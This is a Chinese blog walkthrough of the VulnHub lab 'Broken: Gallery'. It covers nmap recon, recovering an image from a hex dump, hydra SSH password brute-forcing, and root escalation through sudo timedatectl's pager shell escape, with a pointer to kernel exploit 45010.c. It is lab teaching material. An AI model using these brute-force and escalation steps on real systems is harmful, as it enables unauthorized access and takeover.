Broken-Gallery

2024 年 12 月 31 日 (已编辑)
510 字
3 分钟

Broken: Gallery


easyNo.2

来源: vulnhub靶场-Broken: Gallery

提示: Privilege escalation is another method of security through obscurity.

妙妙工具: python -c 'import pty; pty.spawn("/bin/bash")'

环境配置

  • kali: 192.168.110.130
  • target: 192.168.110.133

信息收集

nmap:

text
nmap -A 192.168.110.133

22/tcp    ssh
80/tcp    http

从http中找到一个README.md文件, 看着似乎是JPG头(JFIF), 于是我们写个py脚本将这个文件恢复回JPG:

python
import re

def hex_to_bytes(hex_string):
    """
    将十六进制字符串转换为字节数据
    """
    return bytes.fromhex(hex_string)

def read_hex_data_from_file(file_path):
    """
    从文件中读取十六进制字节数据
    """
    with open(file_path, 'r') as file:
        data = file.read()
    # 提取所有的十六进制数值:例如 "0xFF, 0xD8" 提取为 "FF D8"
    hex_values = re.findall(r'0x([0-9A-Fa-f]{2})', data)
    hex_string = ' '.join(hex_values)
    return hex_to_bytes(hex_string)

def save_image_from_bytes(byte_data, output_file):
    """
    将字节数据保存为图片文件
    """
    with open(output_file, 'wb') as img_file:
        img_file.write(byte_data)
    print(f"图片已保存为 '{output_file}'")


hex_data = read_hex_data_from_file('readme.txt')
save_image_from_bytes(hex_data, 'output_image.jpg')

得到的图片内容如下:

text
Hello Bob,

The application is BROKEN ! the whole infrastructure is BROKEN !!!!

I am leaving for my summer vacation,I hope you get it fix soon...

Cheers.

avrahamcohen.ac@gmail.com

然后就没有内容了, 那就只能对22端口进行爆破了

先尝试将所有可能的内容都塞进用户名, 然后跑密码字典

bash
cewl 192.168.110.133 -w user.txt
# 手动将图片内容的单词添加上去
hydra -L user.txt -P pass.txt ssh://192.168.110.133
# 或者你直接跑/usr/share/wordlists/rockyou.txt.gz(没试过)
image.png

getshell

正常利用broken : broken登录

信息收集

bash
# 系统信息 Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
uname -a
# 内核版本 4.4.0-21-generic
uname -r
# 查看环境
gcc -v
python -h
# 查看特权文件, 没啥东西
find / -perm -4000 2>/dev/null
# 自启动看看, 没东西
cat /etc/crontab
# 看看权限, 发现有sudo权限
sudo -l
image.png

提权

文件/usr/bin/timedatectl在拥有sudo权限可以用于提权(直接复制粘贴即可):

bash
# 在/usr/bin文件夹下
sudo timedatectl list-timezones
!/bin/sh
image.png

list-timezones是列出时区的子命令, 运行sudo timedatectl list-timezones会显示类似less/more查看的方式; 而键入感叹号!表示执行系统命令, 此时是root权限, 所以会返回一个root权限的shell

再来试试脚本: ubuntu 4.4.0-21-generic可以用45010.c

bash
locate linux/local/45010.c
image.png

文章标题:Broken-Gallery

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/broken-gallery[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。